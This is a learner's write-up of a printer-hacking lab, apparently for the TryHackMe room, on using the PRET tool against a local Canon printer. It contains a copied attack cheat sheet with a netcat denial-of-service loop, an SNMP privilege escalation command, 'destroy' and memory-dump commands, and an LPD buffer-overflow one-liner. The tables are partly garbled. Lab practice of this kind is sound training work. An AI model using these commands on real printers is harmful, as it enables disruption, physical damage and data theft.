## Printer Hacking

- > This challenge is in www.tryhackme.com/room/printerhacking101
- > I am going to use <a href="https://github.com/RUB-NDS/PRET">https://github.com/RUB-NDS/PRET</a> library

```
| > cd ./PRET
```

| > python3 pret.py

PIN: you shoud install pysnmP for run PRET |> pip3 install colorama pysnmP

Note: My printer is canon gm series 2040.

## **CODE**

1. First we are going to scan printers (and IPs)

```
levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py
No target given, discovering local printers

address device uptime status

192.168.0.106 Canon GM2000 series 1.000 0:10:49 Ready to print.

usage: pret.py [-h] [-s] [-d] [-i file] [-o file] target {ps,pjl,pcl}
pret.py: error: the following arguments are required: target, mode
```

2. Now we have ip {192.168.0.106} Next thing is going to connect to printer. There have 3 different ways.

```
python3 pret.py {IP} pjl
python3 pret.py laserjet.lan ps
python3 pret.py /dev/usb/lp0 pcl
```

2.1. Iam going to try first way: (good job >> work)

## 2.1.1 Lets try other 2 way

python3 pret.py laserjet.lan ps

|> python3 pret.py /dev/usb/lp0 pcl >>> this method also doesn't
work

## 2.2 command list:

Command	PS	PJL	PCL	Description
ls	/	/	/	List contents of remote directory.
get	/	/	/	Receive file: get <file></file>
put	/	/ /	/	Send file: put <local file=""></local>
append	/	/ /		Append to file: append <file> <str></str></file>
delete	/	//	/	Delete remote file: delete <file></file>
rename	/			Rename remote file: rename <old> <new></new></old>
find	/	//		Recursively list directory contents.
mirror	/	//		Mirror remote filesystem to local dir.
cat	/	//	/	Output remote file to stdout.
edit	/	/ /	/	Edit remote files with vim.
touch	/	/ /		Update file timestamps: touch <file></file>
mkdir	/	/		Create remote directory: mkdir <path></path>
cd	/	/		Change remote working directory.
pwd	/	/		Show working directory on device.
chvol	/	/ /		Change remote volume: chvol <volume></volume>
traversal	/	/		Set path traversal: traversal <path></path>
format	/	/		Initialize printer's file system.
fuzz	1	1		File system fuzzing: fuzz <category></category>
path -	Explo	re fs s	truct	ure with path traversal strategies.
			-	file, then check for its existence.
blind -	Read-	only te	ests f	or existing files like /etc/passwd.
df	/	/		Show volume information.

3. Last important point is cheat sheat for complete mission.

Category	Attack	Protocol	Testing
Denial of service	Transmission channel	TCP	while true; do nc printer 9100; done
		PS	PRET commands: disable , hang
	Document processing	PJL	PRET commands: disable, offline
	51	PS	PRET command: destroy
	Physical damage	PJL	PRET command: destroy
Privilege escalation		SNMP	snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
	Factory defaults	PML	PRET command: reset
		PS	PRET command: reset
		TCP	Connect to printer directly, bypassing the print server
	A	IPP	Check if you can set a username without authentication
	Accounting bypass	PS	Check if PostScript code is preprocessed on print server
		PJL	PRET command: pagecount
	Fax and Scanner	multiple	Install printer driver and (ab)use fax/scan functionality
Drint inh name	Print job retention	PS	PRET command: capture
Print job access	Print job manipulation	PS	PRET commands: cross, overlay, replace
Information disclosure	Memory access	PJL	PRET command: nvram dump
	Fil	PS	PRET commands: fuzz , ls , get , put ,
	File system access	PJL	PRET commands: fuzz , ls , get , put ,
	Credential disclosure	PS	PRET commands: lock, unlock
	Credential disclosure	PJL	PRET commands: lock , unlock
Code execution	Buffer overflows	PJL	PRET command: flood
	Bullet overflows	LPD	./lpdtest.py printer in "`python -c 'print "x"*3000'`"
Code execution	Firmware updates	PJL	Flip a bit, check if the modified firmware is still accepted
	Software packages	multiple	Obtain an SDK and write your own proof-of-concept application

http://hacking-printers.net/wiki/index.php/Printer Security Testing Cheat Sheet

Iam going to use PJL and as you see its open all kind of commands.

Problem >> command execution failed(timed out)

```
192.168.0.106:/> ls

Command execution failed (timed out)

Forcing reconnect. Connection closed.

Connection to 192.168.0.106 established

192.168.0.106:/>
```